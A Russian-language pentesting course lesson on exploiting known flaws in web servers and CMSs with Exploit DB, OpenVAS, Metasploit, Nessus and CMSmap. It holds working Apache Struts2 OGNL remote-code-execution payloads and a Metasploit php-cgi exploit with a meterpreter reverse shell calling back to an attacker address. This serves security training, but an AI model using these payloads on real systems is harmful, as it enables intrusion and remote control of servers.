Вы находитесь на странице: 1из 38

[WAPT]

6.15 Системные уязвимости


Что такое CMS ............................................................................................................................ 2
Что такое Web-сервер ............................................................................................................... 3
Что такое FTP сервер ................................................................................................................. 4
Что такое SSH ............................................................................................................................. 4
Exploit DB ................................................................................................................................... 5
Поиск уязвимостей при помощи сканера ............................................................................... 10
Эксплуатация найденной уязвимости при помощи Metasploit ............................................. 15
Эксплуатация уязвимостей Apache STRUTS2........................................................................... 17
NESSUS ..................................................................................................................................... 24
CMSMAP ................................................................................................................................... 35
В заключение ........................................................................................................................... 38

Во время разработки веб приложений разработчики могут допускать


множество ошибок: как логических, так и технических. Эти ошибки могут
возникать вследствие множества факторов: слишком сжатые сроки,
неквалифицированные разработчики, недостаточный контроль,
недопонимание среди коллектива, банальная невнимательность и даже
отношения среди сотрудников. Количество ошибок растет как ком: одна
цепляет другую, вторая цепляет ряд следующих и так далее. В итоге все
это выливается в уязвимости, которые в дальнейшем будут
эксплуатироваться злоумышленниками. Ежедневно в самых
разнообразных продуктах эксперты по безопасности и злоумышленники
находят критические уязвимости. Естественно, самые критичные из них
закрываются в ближайших обновлениях, но многие администраторы
пренебрегают своевременной установкой заплаток. Из всего этого
можно сделать вывод: чем более старая версия у приложения, тем
больше вероятность, что оно уязвимо.

В этом уроке вы сможете рассмотреть на практике некоторые веб


приложения, которые являются заведомо уязвимыми. Почему
заведомо? Опять же, потому что большинство из уязвимостей уже
исправлены в более новых версиях. Будут рассмотрены веб серверы,

1
некоторые фреймворки, CMS, а также техники их обнаружения и
эксплуатации.

Что такое CMS


CMS или Content Management System — это система, управляющая
контентом. По своей сути является программой, которая манипулирует
данными сайта. К ее функциям можно отнести: создание, удаление,
редактирование, управление данными сайта. Благодаря CMS несколько
пользователей (контент менеджеров) могут заниматься наполнением
одного сайта.

CMS по своей структуре могут кардинально отличаться друг от друга.


Всё зависит от направленности, например, форум, блог, интернет
магазин и т. д. Но в то же время все их можно разделить на две большие
группы: платные и бесплатные. Но для наших задач не имеет значения,
к какой группе относится CMS.

Приведем небольшой список существующих CMS: Apache Roller, Ametys


CMS, Crafter CMS, dotCMS, DSpace, Enonic XP, Fedora Commons,
LogicalDOC Community Edition, Nuxeo EP, OpenCms, Alfresco Community
Edition, Hippo CMS, OpenWGA, Jahia Community Distribution, Magnolia,
OpenKM, Apache Lenya, Daisy, C1 CMS, DNN, Kentico CMS, mojoPortal,
Orchard Project, Umbraco, BetterCMS, blosxom, Bricolage, EPrints, Foswiki,
Ikiwiki, Movable Type Open Source, TWiki, Sellerdeck eCommerce, SPINE,
WebGUI, ATutor, b2evolution, CMSimple, CMS Made Simple, Coderity,
Composr CMS, concrete5, Contao, DokuWiki, Dotclear, Drupal, Exponent
CMS, eZ Publish, eZ Platform, Geeklog, GetSimple CMS, Grav, Habari,
ImpressCMS, ImpressPages, Jamroom, Joomla!, Kajona, Known, Magento,
Mambo, MediaWiki, MiaCMS, Microweber, Midgard CMS, MODX, Novius
OS, Nucleus CMS, OctoberCMS, OpenCart, Omeka, papaya CMS, pH7CMS,
Phire CMS, PHP-Nuke, phpWebLog, phpWiki, Pimcore, PivotX, Pixie (CMS),
PmWiki, Prestashop, ProcessWire, SMW+, Serendipity, SilverStripe, SPIP,
Textpattern, Tiki Wiki CMS Groupware, TYPO3, WordPress, Xaraya, XOOPS,
django CMS, Mezzanine, MoinMoin, Plone, Wagtail, Alchemy CMS, Radiant,
Refinery CMS, Typo, ContentBox Modular CMS, Mura CMS, FarCry CMS,
Ghost, TiddlyWiki, Wiki.js, OpenACS.
2
Как видим их достаточно много. А теперь посмотрим на статистику:
CMS Активные сайты

WordPress 26,701,222

Joomla 2,009,717

Squarespace 1,390,307

Drupal 964,820

Blogger 758,571

Shopify 605,506

TYPO3 582,629

Magento 372,915

PrestaShop 262.342

Bitrix 200,210

Сразу видно, каким CMS стоит уделить особое внимание.

Что такое Web-сервер


Web-сервер, по своей сути, это просто программа, у которой есть
возможность принимать http запросы от клиента, чаще всего браузера,
и отдавать ответы. Так же как и CMS, web-серверов достаточно много.
Например: Apache, nginx, IIS, lighttpd, Google Web Server, Resin, Cherokee,
Rootage, THTTPD, Open Server, H2O и т. д. По умолчанию использует порт
80.

Обратите внимание на популярность web-серверов.


Производитель Кол-во сайтов
Microsoft 485,175,885
Nginx 375,594,875
Apache 323,398,866

3
Google 23,982,033

Данные представленные выше актуальны на январь 2019.

Что такое FTP сервер


Очередная программа — FTP сервер. Называется так из-за протокола
передачи данных. Дословно расшифровывается как «протокол передачи
файлов». Используется для организации удобного удаленного хранения
файлов. Файловая структура практически ничем не отличается от
привычной структуры операционной системы. Те же директории и
файлы в них. Считается весьма уязвимой частью сервера, из-за чего вряд
ли на нем будет храниться конфиденциальная информация.

Подвержен следующим атакам: скрытые, брутфорс, снифинг, захват


портов, DDOS.

По умолчанию использует порт 21.

Что такое SSH


SSH — дословно переводится как «безопасная оболочка». Можно
считать логическим продолжением Telnet, но, в отличии от него,
шифрует весь трафик. Так же может передавать файлы и строить
туннели. SSH можно разделить на две части: клиент и сервер. К
клиентам относятся такие программы как: kdessh, lsh-client, openssh-client,
putty, ssh, Vinagre, Tectia SSH, SecureCRT, ShellGuard, Axessh, ZOC, SSHWindows,
ProSSHD, Xshell, NiftyTelnet SSH, vSSH, ZOC и т. д.

А к серверам: OpenSSH, dropbear, lsh-server, openssh-server, ssh, Tectia SSH


Server, freeSSHd, copssh, WinSSHD, KpyM Telnet/SSH Server, MobaSSH.

По умолчанию использует порт 22.

4
Exploit DB
Exploit DB (https://www.exploit-db.com/) - это огромная база эксплоитов
и уязвимого ПО, где можно найти практически все что нужно для
эксплуатации той или иной уязвимости.

Чтобы найти эксплоит по интересующей уязвимости, например, Struts2,


достаточно в поле «Search» ввести нужное слово:

В таблице представлена следующая информация:

5
▪ Date — дата публикации эксплоита
▪ D — загрузка файла эксплоита
▪ A — возможно ли загрузить уязвимое приложение
▪ V — проверен ли эксплоит
▪ Title — подпись эксплоита
▪ Type — тип эксплоита
▫ Remote Exploit
▫ Web Application
▫ Local and Prinvilege escalation
▫ PoC and DOS
▫ Shellcode
▫ Security papper
▫ Google hacking DB
▪ Platform — платформа, где можно применять эксплоит
▪ Author — автор эксплоита

Есть вариант более точного поиска:

6
Внутри эксплоита будет представлена все информация по нему.

На примере выше представлен эксплоит с пометкой «Metasploit». Это


говорит о том, что его можно загрузить и использовать в Metasploit

7
Framework. Достаточно скопировать файл в директорию modules. Она
может находится например в:
▪ /opt/metasploit-framework/modules/exploits/
▪ /root/.msf4/modules/exploits/
▪ ~/.msf4/modules/exploits/
▪ /usr/share/metasploit-framework/data/exploits/

После чего можно подключать эксплоит внутри Metasploit. Проделаем


все шаги:

Скачиваем эксплоит:

Переименовываем по желанию и перемещаем его в нужную


директорию:

8
Запускаем Metasploit и используем эксплоит:

Так же не забывает про vulners.com, о котором рассказывалось в уроке


«Пассивный сбор информации»

Для поиска нужных модулей в metasploit предусмотрена команда


«search». Ее синтаксис: search [слово поиска]. Если задать поиск,
например, по struts, то увидим следующее:

9
Как мы видим, есть из чего выбрать.

Поиск уязвимостей при помощи сканера


Далее рассмотрим поиск уязвимостей на примере сканера Openvas. Вы
же на практике можете использовать любые удобные вам инструменты.

Устанавливается сканер крайне просто:


1.Рекомендуется обновить систему:
apt-get update && apt-dist upgrade –y
2.Устанавливаем и запускаем сам сканер:
apt-get install openvas -y && openvas-setup
3. Дожидаемся окончания установки (установка и обновление
занимает продолжительное время. Наберитесь терпения) и
запускаем:

10
openvas-start

По окончании установки сгенерируется пароль и в браузере


автоматически откроется ссылка на веб-сервер сканера
(https://127.0.0.1:9392).

Соглашаетесь с принятием самоподписанного сертификата и


авторизуетесь с логином «admin» и сгенерированным паролем. Для
удобства далее пароль можете поменять.

11
Подробно останавливаться на тонкой настройке сканера мы не будем –
это заняло бы отдельный урок.

На вкладке Configuration -> targets задаем цели для сканирования, нажав


на «звездочку»:

Далее переходим на вкладку Scan -> Tasks и, так же «звездочкой»,


добавляем ранее созданный нами Target в задание на сканирование.
Настройки оставляем по умолчанию:

12
Нажимаем «Create» и кнопку «Play»:

Дождавшись окончания сканирования, на вкладке « Scan -> Reports»


наблюдаем результат:

13
В данном примере рассмотрим эксплуатацию уязвимости PHP-CGI-
based. Сканер коротко описывает суть уязвимости (When PHP is used in a
CGI-based setup (such as Apache's mod_cgid), the php-cgi receives a processed
query string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary, which can be
exploited to disclose source code and obtain arbitrary code execution.) , пишет,
какие версии программного обеспечения ей присущи, какие CVE ей
соответствуют и так далее. В данном случае пишет даже пример
проверки на ее наличие без сканирования:

Попробуем проверить на нашем атакуемом сервере:

14
Ключ «-s» вывел нам исходный код страницы – значит уязвимость
присутствует. Данную конфигурацию веб сервера вряд ли
посчастливится встретить в современном мире, но как пример – вполне
сгодится.

Эксплуатация найденной уязвимости при


помощи Metasploit
Так как найденная брешь давно известна – в фреймворке Metasploit
присутствует под неё готовый эксплойт:

Что ж, пришло время его проверить на практике:


▪ use exploit/multi/http/php_cgi_arg_injection – выбираем ранее
найденный эксплойт
▪ set RHOSTS 185.231.246.136 – задаем цель
▪ set RPORT 7777 – задаем порт

15
▪ set targeturi http://185.231.246.136:7777/cgi-bin/php - задаем
найденный сканером уязвимый путь
▪ set payload php/meterpreter/reverse_tcp – выбираем полезную
нагрузку «meterpreter»
▪ set lhost 185.231.245.55 – задаем адрес нашего сервера, куда будем
строить сессию
▪ set lport 31337 – порт на нашем сервере для приема нагрузки
▪ exploit – запускаем эксплойт

Видим, что мы получили шелл на атакуемой машине с правами веб


сервера www-data.

16
Эксплуатация уязвимостей Apache STRUTS2
Далее рассмотрим уязвимость посвежее. Речь пойдет о нашумевшей
атаке на фреймворк Apache STRUTS (CVE-2017-5638), позволяющей
удаленное выполнение команд на сервере через заголовок « Content-
Type».

Снова начнем с результатов сканирования. После благополучного


окончания работы, Openvas выдал хорошие новости – найдена та самая
уязвимость.

В данном примере сканер не только обозначил наличие уязвимости и


ее описание – но и выдал конкретный POST запрос для RCE. Проверим
его работоспособность:

17
На скриншоте выше изображен легитимный запрос к веб серверу.
Добавим заголовок Content-Type с пайлоадом, предлагаемым
сканером.

Payload:
Content-Type:: %{(#OpenVAS='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAcc
ess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork
2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensym
phony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().cle
ar()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))
).(#p=new
java.lang.ProcessBuilder({'id'})).(#p.redirectErrorStream(true)).(#process=#p.star
t()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutpu
tStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()
,#ros)).(#ros.flush())}

18
Наблюдаем успешное выполнение команды «id».

Попробуем повторить выполнение произвольного кода, используя curl,


и найдем похожую уязвимость (CVE-2018-11776) в другом скрипте, при
помощи BurpSuite Actively Scan.

Описанная далее проблема возникает, когда веб-приложение


использует действие без указания пространства имен или использует
пространство имен с подстановочными знаками, например «/ *». Если
Struts не может найти какое-либо пространство имен для данного
действия, он берет указанное пользователем пространство имен и
оценивает его как выражение OGNL, позволяя злоумышленнику
использовать удаленное выполнение команд в веб-приложении. OGNL
(Object-Graph Navigation Language) - это язык выражений с открытым
исходным кодом (EL) для Java, который, используя более простые
выражения, чем полный диапазон поддерживаемых языком Java,
позволяет получать и задавать свойства, а также выполнять методы
классов Java. Это важно, потому что полезная нагрузка эксплойта
является ничем иным, как выражением OGNL.

Попробуем определить, есть ли у нас возможность внедрять свой код,


используя сканер из состава Burp Suite.

Для начала запустим модуль «Spider» в Burp Suite для определения


структуры сайта:

19
На вкладке «Spider» видим происходящую активность:

Далее запускаем активное сканирование. При данном сканировании


Burp Suite перебирает различные пайлоады для указанных в целях
скриптов. Так как нам заранее известно, что уязвим скрипт help.action –

20
зададим сканирование именно его, чтобы не терять времени (на
практике придется сканировать весь хост, если вы не знаете, где именно
таится уязвимость):

Переходим на вкладку «Scanner -> Scan queue» и видим, что в


исследуемом скрипте выполнилось математическое действие
«7916*1992». На вкладке «Request» наблюдаем запрос с нашей
нагрузкой:

21
На вкладке «Response» - результат выполнения:

Давайте попробуем передать языку навигации математическое


выражение «2+2» - в рамках синтаксиса OGNL оно выглядит так «${2+2}»,
используя «curl». Атаку можно продолжить и в Burp Suit’е, но

22
рассмотрим альтернативный вариант, если под рукой нет
дополнительных инструментов, кроме стандартной командной строки
Linux. Для этого сформируем следующий запрос:

Видим результат сложения. Рассмотрим, как это можно применить в


наших целях. Разобравшись с синтаксисом – составляем следующую
нагрузку:
${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id').(#iswin=(@j
ava.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmd
s=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.st
art()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOut
putStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStrea
m(),#ros)).(#ros.flush())}

Далее, как и в предыдущем примере, кодируем ее в URL и отправляем


запрос на сервер:

23
Наблюдаем результат выполнения команды «id». Аналогичным
способом можем выполнять любые команды на сервере, в том числе и
сделать back connect на свой сервер для более комфортной работы без
curl.

NESSUS
Как альтернативу openvas, можно использовать сканер NESSUS. Он
является платным, но у него есть и бесплатная версия. Для того, чтобы
получить ее, проделайте следующие шаги:
1. Пройдите по ссылке: https://www.tenable.com/downloads/nessus

24
2. Получаем активационный код.
3. Выбираем бесплатную версию и проходим простую регистрацию

25
4. Далее качаем нужную версию дистрибутива. Для Kali выбираем
варианты Debian дистрибутивов. В некоторых дистрибутивах Linux
NESSUS есть в официальных репозиториях, поэтому стоит сначала
посмотреть там.

26
5. После установки NESSUS запускается как веб сервис,
автоматически открыв браузер, где вам будет предложено
завести нового пользователя. В дальнейшем для запуска
используйте команду nessusd start

27
А веб панель будет доступна по адресу https://127.0.0.1:8834/

28
После авторизации вам будет доступен сканер:

NESSUS — это многофункциональный сканер. Для того, чтобы


посмотреть, что именно доступно в бесплатной версии, нажмите кнопку
«New scan» справа вверху:

29
Все, что доступно, представлено без надписи «upgrade». На февраль
2019 выглядит так:

В конкретном случае нас интересуют два варианта: advanced scan и web


aplication tests. Отличие между ними заключается лишь в том, что web
aplication уже настроен на сканирование веб приложений, а в advanced
scan все настройки придется проводить вручную.

Для демонстрации воспользуемся вторым вариантом, и тестирование


будет на уже рассмотренном ранее примере с struts:

30
Поле name нужно только для идентификации сканирования в будущем.
Задайте произвольное имя. Поле description так же является лишь
информационным. Его можно не заполнять. В поле targets введем IP
адрес цели сканирования. Помимо этого, в поле можно заносить как
диапазоны IP адресов, так и доменные имена цели. Но не забываем, что
в бесплатной версии за раз можно сканировать до 16 IP адресов.

Далее вкладка discovery на выбор предлагает следующие варианты:

31
▪ Common ports — это дефолтные настройки по умолчанию. Самые
популярные, по мнению разработчиков.
▪ All ports — название говорит само за себя. Будут просканированы
все порты.
▪ Custom — это наш вариант. Настраиваем вручную.

32
Переходим во вкладку Port Scanning и выставляем в графе Port scan
range нужный нам порт 8009. Все остальные настройки можно оставить
по умолчанию. Напоминаем, что это мы делаем только для конкретного
случая. В дальнейшем нет нужды менять здесь какие-либо настройки, а
просто выбрать вариант common ports.

Рассмотрим настройки вкладки Assessment

33
Тут на выбор дается 4 варианта:

Scan for know web vulnerabillities — необходимо использовать, если вы


ищете какую-то конкретную уязвимость.

Варианты quick и complex различаются лишь глубиной и количеством


проверок. В нашем случае достаточно быстрого сканирования quick.

Custom — вариант, при котором всю настройку поиска уязвимостей


необходимо производить руками. Именно этим пришлось бы
заниматься, если в самом начале выбрать advanced scan.

По завершению настроек сохраняем их, а после запускаем


сканирование:

В результате получаем 2 критические уязвимости с достаточно


подробным описанием:

34
CMSMAP
Еще один сканер, который поможет находить слабые места в
безопасности популярных cms.

Чтобы воспользоваться сканером, достаточно скачать его с git:


git clone https://github.com/Dionach/CMSmap.git

Далее, можно установить переменную окружения «cmsmap» командой:

pip3 install . - необходимо быть внутри директории программы.

Рассмотри функционал:

35
Параметры включают в себя как блок сканирование на уязвимости
основных cms ( WordPress, Joomla, Drupal, Moodle), так и блок для
брутфорса и постэксплуатации.

Для того, чтобы просканировать cms на уязвимости, достаточно просто


прописать url как аргумент программы. В редких случаях, если сканеру
не удалось определить тип CMS, можно воспользоваться флагом -f (W, J,
D, M), где указать его явно.

Рассмотрим на конкретном примере:

36
cmsmap определил тип и версию целевой cms, а так же произвел ряд
стандартных проверок заголовков и наличие файлов robots или sitemap.

Так же отобразил небольшой листинг найденных файлов.

И самое полезное, нашел ряд уязвимых плагинов. Теперь можно


приступать к изучению и эксплуатации.

37
В заключение
При тестировании на проникновение очень важным моментом является
определение версии программного обеспечения, установленного на
атакуемой цели. Системные администраторы зачастую пренебрегают
своевременным обновлением и не следят за выходом новых
уязвимостей к присутствующим в инфраструктуре сервисам. Используя
сканер, будьте осторожны, так как результатом будет большое
количество событий в лог файлах, что может привлечь бдительность
администратора и помешать успешной эксплуатации. Так же стоит
учитывать, что сканер, при проверке нагрузок, может вызвать отказ в
обслуживании того или иного сервиса или привести к перезагрузке
всего сервера.

Служба Поддержки

8 800 707 5466


с 8:00 до 20:00 по мск

school@codeby.net

38

Вам также может понравиться